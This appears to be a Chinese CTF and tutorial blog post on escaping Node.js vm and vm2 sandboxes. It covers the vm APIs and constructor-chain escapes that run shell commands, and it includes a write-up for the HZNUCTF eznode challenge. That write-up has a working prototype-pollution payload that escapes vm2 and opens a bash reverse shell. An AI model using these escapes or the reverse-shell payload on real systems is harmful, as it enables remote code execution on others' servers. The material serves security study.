Nodejs vm/vm2沙箱逃逸

什么是沙箱以及VM?

什么是沙箱:

沙箱就是能够像一个集装箱一样,把你的应用“装”起来的技术。这样,应用与应用之间,就因为有了边界而不至于相互干扰而被装进集装箱的应用,也可以被方便地搬来搬去。

什么是VM:

VM就是虚拟环境,虚拟机,VM的特点就是不受环境的影响,也可以说他就是一个 沙箱环境 (沙箱模式给模块提供一个环境运行而不影响其它模块和它们私有的沙箱)类似于docker,docker是属于 Sandbox(沙箱) 的一种。

简而言之,vm提供了一个干净的独立环境,提供测试。

在Nodejs中,我们可以通过引入vm模块来创建一个“沙箱”,但其实这个vm模块的隔离功能并不完善,还有很多缺陷,因此Node后续升级了vm,也就是现在的vm2沙箱,vm2引用了vm模块的功能,并在其基础上做了一些优化。

vm模块

参考:https://xz.aliyun.com/t/11859#toc-1

nodejs作用域

用例子来解释很清晰

#1.js
var height1 = 175
exports.height = height1

Node给我们提供了一个将js文件中元素输出的接口exports

#2.js
const age = 20
const user = require("./1")

console.log(age)
console.log(user.height)

输出

20
175
image-20230412195829829

height的作用域是1.js,通过exports创建被require引入2.js

age的作用域是2.js

还有一个global作用域,就是全局变量。Nodejs下其他的所有属性和包都挂载在这个global对象下。在global下挂载了一些全局变量,我们在访问这些全局变量时不需要用global.xxx的方式来访问,直接用xxx就可以调用这个变量。举个例子,console就是挂载在global下的一个全局变量,我们在用console.log输出时并不需要写成global.console.log,其他常见全局变量还有process(一会逃逸要用到)。

我们可以自定义一个name的全局变量,

# 1.js
var height1 = 175
global.name = "ThnPkm"

exports.height = height1

全局变量则不需要exports创建

# 2.js
const age = 20
const user = require("./1")

console.log(age)
console.log(user.height)
console.log(name)

输出时也不需要user.name来引用,name直接是global变量

vm沙箱

前面提到了作用域这个概念,所以我们现在思考一下,如果想要实现沙箱的隔离作用,我们是不是可以创建一个新的作用域,让代码在这个新的作用域里面去运行,这样就和其他的作用域进行了隔离,这也就是vm模块运行的原理。

(在Node中一般把作用域叫上下文)

先来了解几个常用的vm模块的API:

  • vm.runinThisContext(code):在当前global下创建一个作用域(sandbox),并将接收到的参数当作代码运行。sandbox中可以访问到global中的属性,但无法访问其他包中的属性。

也就是说无法访问本地作用域,但可以访问当前的全局对象global

image-20230412205126896
# xxx.js
const vm = require('vm');
const local_var = "local";
const vm_var = vm.runInThisContext('local_var = "vm";');

console.log(vm_var); //vm
console.log(local_var); //local

无权访问本地作用域,所以 local_var 不变

  • vm.createContext([sandbox]): 在使用前需要先创建一个沙箱对象,再将沙箱对象传给该方法(如果没有则会生成一个空的沙箱对象),v8为这个沙箱对象在当前global外再创建一个作用域,此时这个沙箱对象就是这个作用域的全局对象,沙箱内部无法访问global中的属性。
  • vm.runInContext(code, contextifiedSandbox[, options]):参数为要执行的代码和创建完作用域的沙箱对象,代码会在传入的沙箱对象的上下文中执行,并且参数的值与沙箱内的参数值相同。
image-20230412205216692
const vm = require('vm');
global.global_var = 1;
const sandbox = { global_var: 2 };
vm.createContext(sandbox);  // 创建一个上下文隔离对象
vm.runInContext('global_var *=2;', sandbox);

console.log(sandbox); //{ global_var: 4 }
console.log(global_var); //1

这里,上下文中的globalVar在输出中为(2*2 = 4),但是globalVar的值仍为1,沙箱内部无法访问global中的属性。

  • vm.runInNewContext(code[, sandbox][, options]): creatContext和runInContext的结合版,传入要执行的代码和沙箱对象。
  • vm.Script类 vm.Script类型的实例包含若干预编译的脚本,这些脚本能够在特定的沙箱(或者上下文)中被运行。
  • new vm.Script(code, options):创建一个新的vm.Script对象只编译代码但不会执行它。编译过的vm.Script此后可以被多次执行。值得注意的是,code是不绑定于任何全局对象的,相反,它仅仅绑定于每次执行它的对象。
    code:要被解析的JavaScript代码
const vm = require('vm');
const sandbox = { animal: 'cat', count: 1 };
const script = new vm.Script('count +=1; name = "Tom";');  //编译code
const context = vm.createContext(sandbox);  // 创建一个上下文隔离对象
script.runInContext(context);   // 在指定的下文里执行code并返回其结果

console.log(sandbox); //{ animal: 'cat', count: 2, name: 'Tom' }

script对象可以通过runInContext运行

vm中最关键的就是 上下文context ,vm能逃逸出来的原理也就是因为 context 并没有拦截针对外部的 constructor__proto__等属性 的访问

vm沙箱逃逸

我们一般进行沙箱逃逸最后都是进行rce,那么在Node里要进行rce就需要procces了,在获取到process对象后我们就可以用require来导入child_process,再利用child_process执行命令。但process挂载在global上,但是我们上面说了在creatContext后是不能访问到global的,所以我们最终的目标是通过各种办法将global上的process引入到沙箱中。

看个逃逸例子:

const vm = require("vm");
const a = vm.runInNewContext(`this.constructor.constructor('return global')()`);
console.log(a.process);
image-20230412224634342

是如何实现的?

这里面的this指向的是当前传递给runInNewContext的对象,这个对象是不属于沙箱环境的

访问当前对象的构造器的构造器,也就是Function的构造器,由于继承关系,它的作用域是全局变量,执行代码,获取外部global。

拿到process对象就可以执行命令了:

const vm = require("vm");
const a = vm.runInNewContext(`this.constructor.constructor('return process')()`);
console.log(a.mainModule.require('child_process').execSync('whoami').toString());

console.log会执行node代码,从而调用构造器函数返回process对象导致rce.

vm2

vm模块的隔离作用可以说非常的差了。所以开发者在此基础上加以完善,推出了vm2模块

vm2相比vm做了很大的改进,其中之一就是利用了es6新增的 proxy 特性,从而拦截对诸如 constructor__proto__ 这些属性的访问

在vm2 中运行一段代码,如下

const {VM, VMScript} = require("vm2");

const script = new VMScript("let a = 2;a");

console.log((new VM()).run(script));

其中 VM 是vm2在vm的基础上封装的一个虚拟机,我们只需要实例化之后调用 run 方法即可运行一段脚本。

其原理如下

const {VM, VMScript} = require("vm2");

const script = new VMScript("let a = 2;a");

let vm = new VM();

console.log(vm.run(script));
image-20230412232316989

当我们创建一个VM的对象的时候,vm2内部引入了 contextify.js,并且针对上下文 context 进行了封装,最后调用 script.runInContext(context) ,可以看到,vm2最核心的操作就在于针对context的封装。

具体分析参考:https://www.anquanke.com/post/id/207283

vm2的版本一直都在更新迭代。github上许多历史版本的逃逸exp,附上链接:Issues · patriksimek/vm2 · GitHub

例题分析:(待补充)

[HFCTF2020]JustEscape

这题是利用vm逃逸直接打,需要绕过关键字过滤,

参考此文 这位师傅分析的很好

[HZNUCTF 2023 final]eznode

nss平台有

/app.js拿到源码

const express = require('express');
const app = express();
const { VM } = require('vm2');

app.use(express.json());

const backdoor = function () {
    try {
        new VM().run({}.shellcode);
    } catch (e) {
        console.log(e);
    }
}

const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
    for (var attr in b) {
        if (isObject(a[attr]) && isObject(b[attr])) {
            merge(a[attr], b[attr]);
        } else {
            a[attr] = b[attr];
        }
    }
    return a
}
const clone = (a) => {
    return merge({}, a);
}


app.get('/', function (req, res) {
    res.send("POST some json shit to /.  no source code and try to find source code");
});

app.post('/', function (req, res) {
    try {
        console.log(req.body)
        var body = JSON.parse(JSON.stringify(req.body));
        var copybody = clone(body)
        if (copybody.shit) {
            backdoor()
        }
        res.send("post shit ok")
    }catch(e){
        res.send("is it shit ?")
        console.log(e)
    }
})

app.listen(3000, function () {
    console.log('start listening on port 3000');
});

引用了vm2,有JSON.parse解析,并且存在merge方法,clone调用了merge,存在原型链污染漏洞

backdoor方法new VM().run({}.shellcode); 可以利用原型链污染到shellcode,进而rce

vm2 原型链污染导致沙箱逃逸 poc:

let res = import('./foo.js')
res.toString.constructor("return this")().process.mainModule.require("child_process").execSync("whoami").toString();

本题payload,注意分号;

想进backdoor首先满足if (copybody.shit)

{"shit":1,"__proto__":{"shellcode":"let res = import('./app.js'); res.toString.constructor(\"return this\") ().process.mainModule.require(\"child_process\").execSync('bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"').toString();"}} 

注意请求头为Content-Type: application/json

image-20230413110703728

參考文章:

https://xz.aliyun.com/t/11859#toc-5

https://www.anquanke.com/post/id/207283

https://xilitter.github.io/2023/01/31/vm%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E5%88%9D%E6%8E%A2/index.html

https://www.cnblogs.com/zpchcbd/p/16899212.html

  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值